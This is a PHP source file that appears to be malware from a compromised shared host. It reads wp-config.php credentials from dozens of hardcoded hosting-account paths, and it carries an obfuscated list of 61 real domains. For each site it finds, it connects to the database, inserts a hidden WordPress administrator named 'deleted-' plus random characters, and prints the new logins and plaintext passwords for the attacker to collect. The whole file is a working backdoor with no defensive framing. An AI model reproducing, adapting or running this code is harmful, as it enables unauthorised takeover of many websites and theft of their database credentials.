<?php 

function gen_str($length = 10)
{
    return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}


function brute_readable($docroot)
{
    $file_cands = Array("/wp-config.php");

    foreach ($file_cands as $cand) {
        $cand = $docroot . $cand;
        if (is_readable($cand)) {
            return $cand;
        }
    }

    return NULL;
}

function is_function_enabled($fname) {
    return (strpos(ini_get('disable_functions'), $fname . ",") === FALSE and function_exists($fname));
}

function find_docroot_mask($docroots)
{
    $docroot_mask = "";
    if (is_function_enabled("posix_geteuid") && is_function_enabled("posix_getpwuid"))
    {
        $res = @posix_geteuid();
        if (!empty($res))
        {
            $res = @posix_getpwuid($res);
            if (!empty($res))
            {
                $docroot_mask = str_replace($res["dir"], "[USERROOT]", $_SERVER["DOCUMENT_ROOT"]);
            }
        }
    }

    if (empty($docroot_mask))
    {
        foreach ($docroots as $docroot)
        {
            if (strpos($_SERVER["DOCUMENT_ROOT"], $docroot[1]) == 0)
            {
                $docroot_mask = str_replace($docroot[1], "[USERROOT]", $_SERVER["DOCUMENT_ROOT"]);
            }
        }
    }

    if (empty($docroot_mask)) {
        return "";
    }

    $domain = str_replace("www.", "", $_SERVER["HTTP_HOST"]);
    $domain_www = "www." . $domain;
    $domain_short = substr($domain, 0, strpos($domain, "."));

    if (strpos($docroot_mask, $domain_www) !== FALSE)
    {
        $docroot_mask = str_replace($domain_www, "[DOMAIN_WWW]", $docroot_mask);
    }
    elseif (strpos($docroot_mask, $domain) !== FALSE)
    {
        $docroot_mask = str_replace($domain, "[DOMAIN]", $docroot_mask);
    }
    elseif (strpos($docroot_mask, $domain_short) !== FALSE)
    {
        $docroot_mask = str_replace($domain_short, "[DOMAIN_SHORT]", $docroot_mask);
    }

    return $docroot_mask;
}

function create_wp_user($config_path, &$already_added)
{
    $results = Array();

    $db_name = NULL;
    $db_user = NULL;
    $db_pass = NULL;
    $db_host = NULL;

    $cont = file_get_contents($config_path);

    preg_match_all('/(define\(\s*\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
    if (is_array($matches)) {
        for ($i = 0; $i < count($matches[2]); $i++) {
            if (stristr($matches[2][$i], "DB_NAME")) {
                $db_name = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_user")) {
                $db_user = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_password")) {
                $db_pass = $matches[4][$i];
            } elseif (stristr($matches[2][$i], "db_host")) {
                $db_host = $matches[4][$i];
            }
        }
        if (!empty($db_name)) {

            if (strpos($db_host, ":") !== FALSE) {
                $host_port = explode(":", $db_host);
                $host = $host_port[0];
                $port = intval($host_port[1]);
            } else {
                $host = $db_host;
                $port = 3306;
            }

            if ($conn = mysqli_connect($host, $db_user, $db_pass, $db_name, $port)) {
                //echo "connected " . $host . PHP_EOL;
                $result = mysqli_query($conn, "SHOW DATABASES;");
                $dbs = Array();
                while($row = mysqli_fetch_array($result, MYSQLI_NUM))
                {
                    $dbs[] = $row;
                }

                foreach ($dbs as $current_db) {
                    $current_db = $current_db[0];
                    //echo "current db: " . $current_db . PHP_EOL;
                    if (TRUE) {
                        mysqli_select_db($conn, $current_db);

                        $result2 = mysqli_query($conn, "SHOW TABLES;");
                        $tables = Array();
                        while($row = mysqli_fetch_array($result2, MYSQLI_NUM))
                        {
                            $tables[] = $row;
                        }
                        foreach ($tables as $current_table) {
                            $current_table = $current_table[0];
                            $prefix_pos = strpos($current_table, "usermeta");
                            if ($prefix_pos !== FALSE) {
                                $prefix = substr($current_table, 0, $prefix_pos);

                                $result3 = mysqli_query($conn, "SELECT * FROM " . $prefix . "users WHERE user_login LIKE 'deleted-%';");
                                if (mysqli_num_rows($result3))
                                {
                                    $results[] = Array(preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']), "already", "already", "already", $prefix);
                                    break;
                                }

                                $result3 = mysqli_query($conn, "SELECT option_value FROM " . $prefix . "options WHERE option_name='siteurl';");
                                $siteurl = mysqli_fetch_array($result3, MYSQLI_NUM);
                                if (count($siteurl)) {
                                    $siteurl = $siteurl[0];

                                    $domain = explode("/", $siteurl);
                                    $domain = $domain[2];
                                    $domain = str_replace("www.", "", $domain);

                                    $config_key = $host . $db_user . $db_pass . $db_name . $domain;
                                    if (isset($already_added[$config_key]))
                                    {
                                        continue;
                                    }
                                    $already_added[$config_key] = TRUE;

                                    $username = 'deleted-' . gen_str(8);
                                    $pass_plain = gen_str(8);

                                    $pass = md5($pass_plain);

                                    mysqli_query($conn, "INSERT INTO $prefix" . "users (`user_login`, `user_pass`, `user_nicename`, `user_status`, `display_name`, `user_registered`) VALUES ('$username', '$pass', '$username', 0, '$username', '1979-01-01 00:00:00');");
                                    mysqli_query($conn, "SET @created_user_id = LAST_INSERT_ID();");
                                    mysqli_query($conn, "INSERT INTO $prefix" . "usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @created_user_id, '" . $prefix . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');");
                                    mysqli_query($conn, "INSERT INTO $prefix" . "usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @created_user_id, '" . $prefix . "user_level', '10');");
                                    mysqli_commit($conn);

                                    $results[] = Array(preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']), $siteurl, $username, $pass_plain, $prefix);
                                }
                            }
                        }
                    }
                }
                mysqli_close($conn);
            }
        }
    }

    return $results;
}

$already_added = Array();

$docroots = unserialize(rawurldecode("a%3A68%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/quizlifemanageme%22%3B%7Di%3A1%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/examslereroworld%22%3B%7Di%3A2%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/learninglererowo%22%3B%7Di%3A3%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/camrfeherkjpnins%22%3B%7Di%3A4%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A13%3A%22/home/skills1%22%3B%7Di%3A5%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/noutatiindicator%22%3B%7Di%3A6%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/familylifemanage%22%3B%7Di%3A7%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A20%3A%22/home/weblereroworld%22%3B%7Di%3A8%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A17%3A%22/home/lereroworld%22%3B%7Di%3A9%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/partnershipkpiin%22%3B%7Di%3A10%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/kpicdkpiinstitut%22%3B%7Di%3A11%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/storekpiinstitut%22%3B%7Di%3A12%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A19%3A%22/home/netiinstitune%22%3B%7Di%3A13%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/lifemznagcmenysc%22%3B%7Di%3A14%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/smartkpiskpiinst%22%3B%7Di%3A15%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/productivitylife%22%3B%7Di%3A16%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/powerbinewkpiins%22%3B%7Di%3A17%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A21%3A%22/home/devkpiinstitute%22%3B%7Di%3A18%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/profesiileviitor%22%3B%7Di%3A19%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A18%3A%22/home/ibnovsertdec%22%3B%7Di%3A20%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A13%3A%22/home/gpaunit%22%3B%7Di%3A21%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A19%3A%22/home/fafdeigfdsadv%22%3B%7Di%3A22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A20%3A%22/home/rokpiinstitute%22%3B%7Di%3A23%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A16%3A%22/home/skillsacas%22%3B%7Di%3A24%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/developmentlerer%22%3B%7Di%3A25%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/ncebenchperforma%22%3B%7Di%3A26%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A21%3A%22/home/hausedldmcmslif%22%3B%7Di%3A27%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/connectedperform%22%3B%7Di%3A28%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A14%3A%22/home/systaems%22%3B%7Di%3A29%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/trainingworldski%22%3B%7Di%3A30%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A13%3A%22/home/ilmsdsa%22%3B%7Di%3A31%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A20%3A%22/home/startuorgundry%22%3B%7Di%3A32%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/parentinglifeman%22%3B%7Di%3A33%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A14%3A%22/home/biomimdi%22%3B%7Di%3A34%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A15%3A%22/home/startwise%22%3B%7Di%3A35%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/indicatordeperfo%22%3B%7Di%3A36%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A19%3A%22/home/roskillsacamy%22%3B%7Di%3A37%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A20%3A%22/home/staginggpaunit%22%3B%7Di%3A38%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A16%3A%22/home/endanceatt%22%3B%7Di%3A39%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/librarykpiinsti3%22%3B%7Di%3A40%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/homeorsanization%22%3B%7Di%3A41%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A12%3A%22/home/tkihub%22%3B%7Di%3A42%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/projectmanagerkp%22%3B%7Di%3A43%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/governmentperfor%22%3B%7Di%3A44%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/insightslifemana%22%3B%7Di%3A45%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/personallifemana%22%3B%7Di%3A46%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A12%3A%22/home/lerero%22%3B%7Di%3A47%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/happinesslifeman%22%3B%7Di%3A48%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/powerbikpiinstit%22%3B%7Di%3A49%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A15%3A%22/home/bsc20com0%22%3B%7Di%3A50%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A13%3A%22/home/maentae%22%3B%7Di%3A51%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A14%3A%22/home/performa%22%3B%7Di%3A52%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A21%3A%22/home/placekpiinmaket%22%3B%7Di%3A53%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/wellbeinglifeman%22%3B%7Di%3A54%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/lifemanagementsc%22%3B%7Di%3A55%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/resiliencelifema%22%3B%7Di%3A56%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/relationshipslif%22%3B%7Di%3A57%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/bibliotecaindica%22%3B%7Di%3A58%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A17%3A%22/home/worldskills%22%3B%7Di%3A59%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/library2kpiinsti%22%3B%7Di%3A60%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A15%3A%22/home/skpismart%22%3B%7Di%3A61%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/marketplaceindic%22%3B%7Di%3A62%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A19%3A%22/home/secureskills1%22%3B%7Di%3A63%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A16%3A%22/home/biodigycom%22%3B%7Di%3A64%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/newskpiinstitute%22%3B%7Di%3A65%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A18%3A%22/home/ilacsdmdsfds%22%3B%7Di%3A66%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A22%3A%22/home/staginglererowor%22%3B%7Di%3A67%3Ba%3A2%3A%7Bi%3A0%3Bs%3A0%3A%22%22%3Bi%3A1%3Bs%3A14%3A%22/home/kpiinsti%22%3B%7D%7D"));
$domains = unserialize(rawurldecode("a%3A61%3A%7Bi%3A0%3Bs%3A39%3A%22government-performance.kpiinstitute.org%22%3Bi%3A1%3Bs%3A27%3A%22connectedperformance.com.my%22%3Bi%3A2%3Bs%3A35%3A%22profesiileviitorului.worldskills.ro%22%3Bi%3A3%3Bs%3A13%3A%22smartkpis.com%22%3Bi%3A4%3Bs%3A11%3A%22inoverde.ro%22%3Bi%3A5%3Bs%3A38%3A%22marketplace.indicatorideperformanta.ro%22%3Bi%3A6%3Bs%3A40%3A%22resilience.lifemanagementsciencelabs.com%22%3Bi%3A7%3Bs%3A24%3A%22learning.lereroworld.com%22%3Bi%3A8%3Bs%3A34%3A%22quiz.lifemanagementsciencelabs.com%22%3Bi%3A9%3Bs%3A15%3A%22lereroworld.com%22%3Bi%3A10%3Bs%3A36%3A%22family.lifemanagementsciencelabs.com%22%3Bi%3A11%3Bs%3A26%3A%22indicatorideperformanta.ro%22%3Bi%3A12%3Bs%3A10%3A%22lerero.com%22%3Bi%3A13%3Bs%3A8%3A%22faei.org%22%3Bi%3A14%3Bs%3A18%3A%22secure.skills1.com%22%3Bi%3A15%3Bs%3A38%3A%22personal.lifemanagementsciencelabs.com%22%3Bi%3A16%3Bs%3A37%3A%22biblioteca.indicatorideperformanta.ro%22%3Bi%3A17%3Bs%3A27%3A%22balancedscorecardreview.com%22%3Bi%3A18%3Bs%3A19%3A%22inter.smartkpis.com%22%3Bi%3A19%3Bs%3A46%3A%22homeorganization.lifemanagementsciencelabs.com%22%3Bi%3A20%3Bs%3A25%3A%22library2.kpiinstitute.org%22%3Bi%3A21%3Bs%3A22%3A%22kpicd.kpiinstitute.org%22%3Bi%3A22%3Bs%3A8%3A%22ilms.org%22%3Bi%3A23%3Bs%3A22%3A%22development.lerero.com%22%3Bi%3A24%3Bs%3A19%3A%22web.lereroworld.com%22%3Bi%3A25%3Bs%3A19%3A%22ro.kpiinstitute.org%22%3Bi%3A26%3Bs%3A16%3A%22kpiinstitute.net%22%3Bi%3A27%3Bs%3A11%3A%22gpaunit.org%22%3Bi%3A28%3Bs%3A13%3A%22startwise.org%22%3Bi%3A29%3Bs%3A23%3A%22training.worldskills.ro%22%3Bi%3A30%3Bs%3A14%3A%22worldskills.ro%22%3Bi%3A31%3Bs%3A18%3A%22startupfoundry.org%22%3Bi%3A32%3Bs%3A38%3A%22insights.lifemanagementsciencelabs.com%22%3Bi%3A33%3Bs%3A39%3A%22happiness.lifemanagementsciencelabs.com%22%3Bi%3A34%3Bs%3A21%3A%22exams.lereroworld.com%22%3Bi%3A35%3Bs%3A20%3A%22dev.kpiinstitute.org%22%3Bi%3A36%3Bs%3A9%3A%22skills.ac%22%3Bi%3A37%3Bs%3A41%3A%22performance-benchmarking.kpiinstitute.org%22%3Bi%3A38%3Bs%3A16%3A%22skillsacademy.ro%22%3Bi%3A39%3Bs%3A43%3A%22householdmgmt.lifemanagementsciencelabs.com%22%3Bi%3A40%3Bs%3A28%3A%22lifemanagementsciencelabs.ro%22%3Bi%3A41%3Bs%3A42%3A%22productivity.lifemanagementsciencelabs.com%22%3Bi%3A42%3Bs%3A29%3A%22lifemanagementsciencelabs.com%22%3Bi%3A43%3Bs%3A43%3A%22relationships.lifemanagementsciencelabs.com%22%3Bi%3A44%3Bs%3A9%3A%22ilms.life%22%3Bi%3A45%3Bs%3A24%3A%22powerbi.kpiinstitute.org%22%3Bi%3A46%3Bs%3A28%3A%22marketplace.kpiinstitute.org%22%3Bi%3A47%3Bs%3A26%3A%22smartkpis.kpiinstitute.org%22%3Bi%3A48%3Bs%3A11%3A%22maentae.com%22%3Bi%3A49%3Bs%3A22%3A%22store.kpiinstitute.org%22%3Bi%3A50%3Bs%3A19%3A%22staging.gpaunit.org%22%3Bi%3A51%3Bs%3A28%3A%22partnership.kpiinstitute.org%22%3Bi%3A52%3Bs%3A39%3A%22parenting.lifemanagementsciencelabs.com%22%3Bi%3A53%3Bs%3A11%3A%22skills1.com%22%3Bi%3A54%3Bs%3A9%3A%22tkihub.ro%22%3Bi%3A55%3Bs%3A34%3A%22noutati.indicatorideperformanta.ro%22%3Bi%3A56%3Bs%3A27%3A%22attendance.kpiinstitute.org%22%3Bi%3A57%3Bs%3A23%3A%22staging.lereroworld.com%22%3Bi%3A58%3Bs%3A31%3A%22projectmanager.kpiinstitute.org%22%3Bi%3A59%3Bs%3A12%3A%22biomimdi.com%22%3Bi%3A60%3Bs%3A12%3A%22systaems.com%22%3B%7D"));

$docroot_mask = find_docroot_mask($docroots);

$res = Array("data"=>Array(), "data2"=>Array(), "last_error"=>"", "docroot_mask"=>$docroot_mask, "docroot"=>$_SERVER["DOCUMENT_ROOT"], "domain"=>$_SERVER["HTTP_HOST"]);

$upload_cands = Array();

if (!empty($docroot_mask))
{
    if (strpos($docroot_mask, "[DOMAIN") !== FALSE)
    {
        foreach ($domains as $domain)
        {
            $domain_www = "www." . $domain;
            $domain_short = substr($domain, 0, strpos($domain, "."));

            foreach ($docroots as $docroot)
            {
                $docroot = str_replace("[USERROOT]", $docroot[1], $docroot_mask);

                $docroot = str_replace("[DOMAIN_WWW]", $domain_www, $docroot);
                $docroot = str_replace("[DOMAIN]", $domain, $docroot);
                $docroot = str_replace("[DOMAIN_SHORT]", $domain_short, $docroot);

                $wpconfig = brute_readable($docroot);
                if ($wpconfig !== NULL)
                {
                    $temps = create_wp_user($wpconfig, $already_added);

                    if (!empty($temps))
                    {
                        foreach ($temps as $temp)
                        {
                            $res["data"][] = Array($temp[1], $temp[2], $temp[3]);
                        }
                    }
                }
            }
        }
    }
    else
    {
        foreach ($docroots as $docroot)
        {
            $docroot = str_replace("[USERROOT]", $docroot, $docroot_mask);

            $wpconfig = brute_readable($docroot);
            if ($wpconfig !== NULL)
            {
                $temps = create_wp_user($wpconfig, $already_added);

                if (!empty($temps))
                {
                    foreach ($temps as $temp)
                    {
                        $res["data2"][] = Array($temp[1], $temp[2], $temp[3]);
                    }
                }
            }
        }
    }
}
else
{
    $res["last_error"] = "no docroot mask";
}

echo "marker3456t3wtNg8nnG";
echo serialize($res);
echo "marker3456t3wtNg8nnG";
exit();